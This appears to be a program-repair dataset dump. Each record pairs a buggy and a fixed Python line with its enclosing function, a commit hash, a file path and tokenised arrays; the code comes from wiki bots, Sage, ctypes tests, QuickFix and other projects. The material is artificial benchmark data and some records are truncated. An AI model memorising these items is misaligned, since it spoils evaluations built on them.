[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1089, 15058, 2616, 1225, 12, 292, 4672, 570, 17288, 18, 542, 15058, 2616, 1225, 12, 474, 12, 292, 18, 1132, 3719, 1172, 5158, 1090, 12239, 65, 2343, 351, 2616, 1225, 1546, 16, 570, 17288...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1089, 15058, 2616, 1225, 12, 292, 4672, 570, 17288, 18, 542, 15058, 2616, 1225, 12, 474, 12, 292, 18, 1132, 3719, 1172, 5158, 1090, 12239, 65, 2343, 351, 2616, 1225, 1546, 16, 570, 17288...
if wikipedia.Page(self.importsite, target.decode('utf-8')).exists():
if wikipedia.Page(self.importsite, target).exists():
def Import(self, target, project = 'w', crono = '1', namespace = '', prompt = True): """Import the page from the wiki. Requires administrator status. If prompt is True, asks the user if he wants to delete the page. """ if project == 'w': site = wikipedia.getSite(fam = 'wikipedia') elif project == 'b': site = wikipedia.getSite(fam = 'wikibooks') elif project == 'wikt': site = wikipedia.getSite(fam = 'wiktionary') elif project == 's': site = wikipedia.getSite(fam = 'wikisource') elif project == 'q': site = wikipedia.getSite(fam = 'wikiquote') else: site = wikipedia.getSite() # Fixing the crono value... if crono == True: crono = '1' elif crono == False: crono = '0' # Fixing namespace's value. if namespace == '0': namespace == '' answer = 'y' if prompt: answer = wikipedia.inputChoice(u'Do you want to import %s?' % target, ['Yes', 'No'], ['y', 'N'], 'N') if answer == 'y': host = self.site().hostname() address = self.site().path() + '?title=%s&action=submit' % self.urlname() # You need to be a sysop for the import. self.site().forceLogin(sysop = True) # Getting the token. token = self.site().getToken(self, sysop = True) # Defing the predata. predata = { 'action' : 'submit', 'source' : 'interwiki', # from what project do you want to import the page? 'interwiki' : project, # What is the page that you want to import? 'frompage' : target, # The entire history... or not? 'interwikiHistory' : crono, # What namespace do you want? 'namespace': '', } if self.site().hostname() in config.authenticate.keys(): predata['Content-type'] = 'application/x-www-form-urlencoded' predata['User-agent'] = useragent data = self.site().urlEncode(predata) response = urllib2.urlopen(urllib2.Request('http://' + self.site().hostname() + address, data)) data = u'' else: response, data = self.site().postForm(address, predata, sysop = True) if data: wikipedia.output(u'Page imported, checking...') if wikipedia.Page(self.importsite, target.decode('utf-8')).exists(): wikipedia.output(u'Import success!') return True else: wikipedia.output(u'Import failed!') return False
7873c0532f930f405c3b5aec05f9c3933e6515be /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/4404/7873c0532f930f405c3b5aec05f9c3933e6515be/pageimport.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 6164, 12, 2890, 16, 1018, 16, 1984, 273, 296, 91, 2187, 9998, 83, 273, 296, 21, 2187, 1981, 273, 10226, 6866, 273, 1053, 4672, 3536, 5010, 326, 1363, 628, 326, 9050, 18, 16412, 22330, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 6164, 12, 2890, 16, 1018, 16, 1984, 273, 296, 91, 2187, 9998, 83, 273, 296, 21, 2187, 1981, 273, 10226, 6866, 273, 1053, 4672, 3536, 5010, 326, 1363, 628, 326, 9050, 18, 16412, 22330, ...
sage: L.plot().save('sage.png')
sage: D.plot().save('sage.png')
def disjunctive_product(self, other): """ Returns the disjunctive product of self and other. The disjunctive product of G and H is the graph L with vertex set V(L) equal to the Cartesian product of the vertices V(G) and V(H), and ((u,v), (w,x)) is an edge (arc) iff either - (u, w) is an edge (arc) of self, or - (v, x) is an edge (arc) of other. EXAMPLES: sage: Z = graphs.CompleteGraph(2) sage: D = Z.disjunctive_product(Z); D Graph on 4 vertices sage: L.plot().save('sage.png') sage: C = graphs.CycleGraph(5) sage: D = C.disjunctive_product(Z); D Graph on 10 vertices sage: D.plot().save('sage.png')
64ceae3747cadb0980b0243bf4df51901a212828 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/9890/64ceae3747cadb0980b0243bf4df51901a212828/graph.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1015, 78, 6931, 688, 67, 5896, 12, 2890, 16, 1308, 4672, 3536, 2860, 326, 1015, 78, 6931, 688, 3017, 434, 365, 471, 1308, 18, 225, 1021, 1015, 78, 6931, 688, 3017, 434, 611, 471, 670, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1015, 78, 6931, 688, 67, 5896, 12, 2890, 16, 1308, 4672, 3536, 2860, 326, 1015, 78, 6931, 688, 3017, 434, 365, 471, 1308, 18, 225, 1021, 1015, 78, 6931, 688, 3017, 434, 611, 471, 670, ...
from ctypes import c_wchar, c_wchar_p
from ctypes import c_wchar_p
def test_cw_strings(self): from ctypes import byref, sizeof try: from ctypes import c_wchar, c_wchar_p except ImportError:
eacc78a7b650f20e4a2d61ff1203a2f89f2e876b /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/8125/eacc78a7b650f20e4a2d61ff1203a2f89f2e876b/test_parameters.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 71, 91, 67, 10219, 12, 2890, 4672, 628, 6983, 1930, 12725, 16, 13726, 775, 30, 628, 6983, 1930, 276, 67, 91, 3001, 67, 84, 1335, 11308, 30, 2, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 71, 91, 67, 10219, 12, 2890, 4672, 628, 6983, 1930, 12725, 16, 13726, 775, 30, 628, 6983, 1930, 276, 67, 91, 3001, 67, 84, 1335, 11308, 30, 2, -100, -100, -100, -100, -100, ...
PropertyValue("SelectPdfVersion", 0, 1L, 0), PropertyValue("UseTaggedPDF", 0, False, 0),
def flush(self): pass
98dbf11f290fd7dd518922a8ff8fdbe8af041f70 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9162/98dbf11f290fd7dd518922a8ff8fdbe8af041f70/convert.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3663, 12, 2890, 4672, 1342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3663, 12, 2890, 4672, 1342, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -...
self.soothie.update(key)
self.soothie.update(key.encode('utf-8'))
def OnChar(self, event): print "------------ OnChar() handler" key = chr(event.GetKeyCode())
710dd9a6900ea9c2f79d72b08e47fdb1e8265018 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/2145/710dd9a6900ea9c2f79d72b08e47fdb1e8265018/prompter.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2755, 2156, 12, 2890, 16, 871, 4672, 1172, 315, 7620, 2755, 2156, 1435, 1838, 6, 498, 273, 4513, 12, 2575, 18, 967, 653, 1085, 10756, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2755, 2156, 12, 2890, 16, 871, 4672, 1172, 315, 7620, 2755, 2156, 1435, 1838, 6, 498, 273, 4513, 12, 2575, 18, 967, 653, 1085, 10756, 2, -100, -100, -100, -100, -100, -100, -100, -100, ...
ENDFOR
ENDFOR $variable$
def expand_template(s): """ Currently it only does a simple repeat-and-replace in a loop: FOR $variable$ IN (value1, value2, ...): ... start block ... $variable$ ... end block ... ENDFOR The above will repeat the block for every value from the list each time substituting the $variable$ with the current value. >>> s = \ ... ''' ... w = 9 ... ## FOR $x$ IN (7, w): ... ## FOR $y$ IN ("{", 1): ... print $x$, $y$, "$x$_$y$" ... ## ENDFOR $y$ ... ## ENDFOR $x$''' >>> print expand_template(s) w = 9 print 7, "{" print 7, 1 print w, "{" print w, 1 """ while True: m = pattern_for.search(s) if not m: break new_body = '' for value in [v.strip() for v in m.group('values').split(',') if v.strip()]: new_body += m.group('body').replace(m.group('variable'), value) s = s[:m.start()] + new_body + s[m.end():] return s
e75953867c3cf4935aea6d5fc937e66fb941055b /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/14342/e75953867c3cf4935aea6d5fc937e66fb941055b/templating.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4542, 67, 3202, 12, 87, 4672, 3536, 15212, 518, 1338, 1552, 279, 4143, 7666, 17, 464, 17, 2079, 316, 279, 2798, 30, 225, 12108, 271, 6105, 8, 2120, 261, 1132, 21, 16, 460, 22, 16, 13...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4542, 67, 3202, 12, 87, 4672, 3536, 15212, 518, 1338, 1552, 279, 4143, 7666, 17, 464, 17, 2079, 316, 279, 2798, 30, 225, 12108, 271, 6105, 8, 2120, 261, 1132, 21, 16, 460, 22, 16, 13...
gl_format, gl_type = GL_RGB, GL_UNSIGNED_BYTE
gl_format, gl_type = _GL_FORMAT_FOR_COLOR, GL_UNSIGNED_BYTE
def grab_conf_corner_bg_image(self): #bruce 070626 """ Grab an image of the top right corner, for use in confirmation corner optimizations which redraw it without redrawing everything. """ width = self.width height = self.height subwidth = min(width, 100) subheight = min(height, 100) gl_format, gl_type = GL_RGB, GL_UNSIGNED_BYTE # these seem to be enough; GL_RGBA, GL_FLOAT also work but look the same image = glReadPixels( width - subwidth, height - subheight, subwidth, subheight, gl_format, gl_type ) self._conf_corner_bg_image_data = (subwidth, subheight, width, height, gl_format, gl_type, image)
40ea205fa9a133957786b578cb8bd7dcf32d65b4 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/11221/40ea205fa9a133957786b578cb8bd7dcf32d65b4/GLPane_image_methods.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 11086, 67, 3923, 67, 30519, 67, 12370, 67, 2730, 12, 2890, 4672, 468, 2848, 3965, 374, 7301, 26, 5558, 3536, 17150, 392, 1316, 434, 326, 1760, 2145, 11055, 16, 364, 999, 316, 14296, 1105...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 11086, 67, 3923, 67, 30519, 67, 12370, 67, 2730, 12, 2890, 4672, 468, 2848, 3965, 374, 7301, 26, 5558, 3536, 17150, 392, 1316, 434, 326, 1760, 2145, 11055, 16, 364, 999, 316, 14296, 1105...
if not self.contingency: return
def replotAll(self): self.clear() if not self.contingency: return
ae83bc8e1038df87b0fe497ddb634614447ce035 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/6366/ae83bc8e1038df87b0fe497ddb634614447ce035/OWDiscretize.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 283, 4032, 1595, 12, 2890, 4672, 365, 18, 8507, 1435, 309, 486, 365, 18, 1213, 310, 2075, 30, 327, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 283, 4032, 1595, 12, 2890, 4672, 365, 18, 8507, 1435, 309, 486, 365, 18, 1213, 310, 2075, 30, 327, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, ...
test_module = __import__(test_name.lower())
test_module = __import__(test_name.lower(), globals(), locals())
def __init_tests(): "Initialize each test by loading it and then register it" global _registered for test_name in _test_names: test_module = __import__(test_name.lower()) # class name is the test name + "Test" test_class = getattr(test_module, test_name + "Test") _registered[test_name] = test_class
8424da90e4b915a716497dde2cff2d0ed032e4b0 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/6953/8424da90e4b915a716497dde2cff2d0ed032e4b0/__init__.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 67, 16341, 13332, 315, 7520, 1517, 1842, 635, 7153, 518, 471, 1508, 1744, 518, 6, 2552, 389, 14327, 225, 364, 1842, 67, 529, 316, 389, 3813, 67, 1973, 30, 225, 1842, 67, 29...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 67, 16341, 13332, 315, 7520, 1517, 1842, 635, 7153, 518, 471, 1508, 1744, 518, 6, 2552, 389, 14327, 225, 364, 1842, 67, 529, 316, 389, 3813, 67, 1973, 30, 225, 1842, 67, 29...
postinst.write("ln -f " + first + " " + other[len:] + newline)
postinst.write("ln -f " + first + " " + other[len(input):] + newline)
def MakeDebianPackage(name, input, output, prefix):
b996cb86410fc7f08847c76306629356534370a0 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/9328/b996cb86410fc7f08847c76306629356534370a0/pylib.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4344, 758, 70, 2779, 2261, 12, 529, 16, 810, 16, 876, 16, 1633, 4672, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4344, 758, 70, 2779, 2261, 12, 529, 16, 810, 16, 876, 16, 1633, 4672, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100,...
class BarGraphController(object):
class PieGraphController(object):
def lookup(self,url,*remainder): #check if view exists conn = MySQLdb.connect(configuration.DB_HOSTNAME,configuration.DB_USERNAME,configuration.DB_PASSWORD,configuration.DB_NAME) curs = conn.cursor() curs.execute("SELECT url FROM _wsviews WHERE url = %s", (url,)) results = curs.fetchall() exists = len(results) == 1
264ecb97a37ab9194fbcfd0fb4327706a437d0a7 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/9355/264ecb97a37ab9194fbcfd0fb4327706a437d0a7/root.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3689, 12, 2890, 16, 718, 16, 14, 2764, 25407, 4672, 468, 1893, 309, 1476, 1704, 1487, 273, 13485, 1966, 18, 3612, 12, 7025, 18, 2290, 67, 8908, 1985, 16, 7025, 18, 2290, 67, 21292, 16,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3689, 12, 2890, 16, 718, 16, 14, 2764, 25407, 4672, 468, 1893, 309, 1476, 1704, 1487, 273, 13485, 1966, 18, 3612, 12, 7025, 18, 2290, 67, 8908, 1985, 16, 7025, 18, 2290, 67, 21292, 16,...
self.emit("static int initialized;", 0)
def visitModule(self, mod): self.emit("""
0fc94ecbd8d55333101e8bdaca7650fc4378fef3 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8125/0fc94ecbd8d55333101e8bdaca7650fc4378fef3/asdl_c.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3757, 3120, 12, 2890, 16, 681, 4672, 365, 18, 18356, 2932, 3660, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3757, 3120, 12, 2890, 16, 681, 4672, 365, 18, 18356, 2932, 3660, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, ...
recipUC = UnitCell(recipvectors)
recipUC = UnitCell(cellvectors=recipvectors)
def getReciprocalUnitCell(self): """ Returns the reciprocal space unit cell, in the crystallographic sense (i.e. with the 2pi factors). Uses Numpy.linalg.""" recipvectors = 2 * np.pi * la.inv(np.transpose(self._cellvectors)) recipUC = UnitCell(recipvectors) return recipUC
67752902294cc77c0d2c623e1279db6b439829d3 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/578/67752902294cc77c0d2c623e1279db6b439829d3/UnitCell.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5561, 3449, 30101, 2802, 4020, 12, 2890, 4672, 3536, 2860, 326, 5863, 30101, 3476, 2836, 2484, 16, 316, 326, 4422, 31365, 1330, 1483, 335, 12764, 261, 77, 18, 73, 18, 598, 326, 576, 7259...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5561, 3449, 30101, 2802, 4020, 12, 2890, 4672, 3536, 2860, 326, 5863, 30101, 3476, 2836, 2484, 16, 316, 326, 4422, 31365, 1330, 1483, 335, 12764, 261, 77, 18, 73, 18, 598, 326, 576, 7259...
return FractionFieldElement(self.parent(), self.__numerator**right, self.__denominator**right, coerce=False, reduce=False)
r""" Returns self raise to the right^{th} power. Note that we need to check whether or not right is negative so we don't set __numerator or __denominator to an element of the fraction field instead of the underlying ring. EXAMPLES: sage: R = QQ['x','y'] sage: FR = R.fraction_field() sage: x,y = FR.gens() sage: a = x^2; a x^2 sage: type(a.numerator()) <type 'sage.rings.polynomial.multi_polynomial_libsingular.MPolynomial_libsingular'> sage: type(a.denominator()) <type 'sage.rings.polynomial.multi_polynomial_libsingular.MPolynomial_libsingular'> sage: a = x^(-2); a 1/x^2 sage: type(a.numerator()) <type 'sage.rings.polynomial.multi_polynomial_libsingular.MPolynomial_libsingular'> sage: type(a.denominator()) <type 'sage.rings.polynomial.multi_polynomial_libsingular.MPolynomial_libsingular'> sage: x^0 1 sage: ((x+y)/(x-y))^2 (x^2 + 2*x*y + y^2)/(x^2 - 2*x*y + y^2) sage: ((x+y)/(x-y))^-2 (x^2 - 2*x*y + y^2)/(x^2 + 2*x*y + y^2) sage: ((x+y)/(x-y))^0 1 """ if right == 0: return FractionFieldElement(self.parent(), 1, 1, reduce=False) elif right > 0: return FractionFieldElement(self.parent(), self.__numerator**right, self.__denominator**right, coerce=False, reduce=False) else: right = -right return FractionFieldElement(self.parent(), self.__denominator**right, self.__numerator**right, coerce=False, reduce=False)
def __pow__(self, right): return FractionFieldElement(self.parent(), self.__numerator**right, self.__denominator**right, coerce=False, reduce=False)
2d0383de2b292d157fb72aa9b8575eaa67d5bed8 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/9417/2d0383de2b292d157fb72aa9b8575eaa67d5bed8/fraction_field_element.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 23509, 972, 12, 2890, 16, 2145, 4672, 327, 478, 5738, 974, 1046, 12, 2890, 18, 2938, 9334, 365, 16186, 2107, 7385, 636, 4083, 16, 365, 16186, 13002, 26721, 636, 4083, 16, 12270, 33...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 23509, 972, 12, 2890, 16, 2145, 4672, 327, 478, 5738, 974, 1046, 12, 2890, 18, 2938, 9334, 365, 16186, 2107, 7385, 636, 4083, 16, 365, 16186, 13002, 26721, 636, 4083, 16, 12270, 33...
self.exclusions.append (item)
if self._rule: self.exclusions.append (item)
def remove (self, item): """ Remove an item from the exclusions. Optimize changes to inclusions and exclusions. """ if item not in self.exclusions: self.exclusions.append (item) if item in self.inclusions: self.inclusions.remove (item) if item in self._resultSet: self._resultSet.remove (item) self.ruleIsStale = True
acabd84b3db78b2cb03058c64a2403e62b1e0aba /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/9228/acabd84b3db78b2cb03058c64a2403e62b1e0aba/ItemCollection.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1206, 261, 2890, 16, 761, 4672, 3536, 3581, 392, 761, 628, 326, 29523, 18, 12056, 10153, 3478, 358, 2823, 16377, 471, 29523, 18, 3536, 309, 761, 486, 316, 365, 18, 338, 25364, 30, 309, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1206, 261, 2890, 16, 761, 4672, 3536, 3581, 392, 761, 628, 326, 29523, 18, 12056, 10153, 3478, 358, 2823, 16377, 471, 29523, 18, 3536, 309, 761, 486, 316, 365, 18, 338, 25364, 30, 309, ...
break
categories+=u', TV Series' try: allEps.append({ 'file_seriesname':seriesname, 'seasno':seasno, 'epno':epno, 'filepath':filepath, 'filename':filename, 'ext':ext, 'categories': categories }) except UnicodeDecodeError: allEps.append({ 'file_seriesname':unicode(seriesname,'utf8'), 'seasno':seasno, 'epno':epno, 'filepath':unicode(filepath,'utf8'), 'filename':unicode(filename,'utf8'), 'ext':unicode(ext,'utf8'), 'categories': categories })
def _processNames(self, names, verbose=False, movies=False): """ Takes list of names, runs them though the self.config['name_parse'] regex parsing strings to extract series name, season and episode numbers. Non-video files are skipped. return an array of dictionaries containing series name, season and episode numbers, file path and full filename and file extention. """ allEps = [] for f in names: filepath, filename = os.path.split( f ) filename, ext = os.path.splitext( filename )
467b94925bf761d2677c04821c61a6e2427f520e /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/13713/467b94925bf761d2677c04821c61a6e2427f520e/jamu.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2567, 1557, 12, 2890, 16, 1257, 16, 3988, 33, 8381, 16, 7344, 29028, 33, 8381, 4672, 3536, 23004, 666, 434, 1257, 16, 7597, 2182, 11376, 326, 365, 18, 1425, 3292, 529, 67, 2670, 3...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2567, 1557, 12, 2890, 16, 1257, 16, 3988, 33, 8381, 16, 7344, 29028, 33, 8381, 4672, 3536, 23004, 666, 434, 1257, 16, 7597, 2182, 11376, 326, 365, 18, 1425, 3292, 529, 67, 2670, 3...
this = apply(_quickfix.new_NoCapacities, args)
this = _quickfix.new_NoCapacities(*args)
def __init__(self, *args): this = apply(_quickfix.new_NoCapacities, args) try: self.this.append(this) except: self.this = this
7e632099fd421880c8c65fb0cf610d338d115ee9 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/8819/7e632099fd421880c8c65fb0cf610d338d115ee9/quickfix.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 380, 1968, 4672, 333, 273, 389, 19525, 904, 18, 2704, 67, 2279, 4664, 1077, 1961, 30857, 1968, 13, 775, 30, 365, 18, 2211, 18, 6923, 12, 2211, 13, 1335, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 380, 1968, 4672, 333, 273, 389, 19525, 904, 18, 2704, 67, 2279, 4664, 1077, 1961, 30857, 1968, 13, 775, 30, 365, 18, 2211, 18, 6923, 12, 2211, 13, 1335, ...
self.bmovl.update((self.x0, self.y0, self.width, 30))
if update: self.bmovl.update() font = skin.get_singleton().get_font('bmovl clock')
def elapsed(self, timer): """ update osd """ if not self.bmovl: self.bmovl = OSDbmovl(self.width, self.height) if self.osd_visible: start = self.start end = self.start + int(self.item.info['length'])
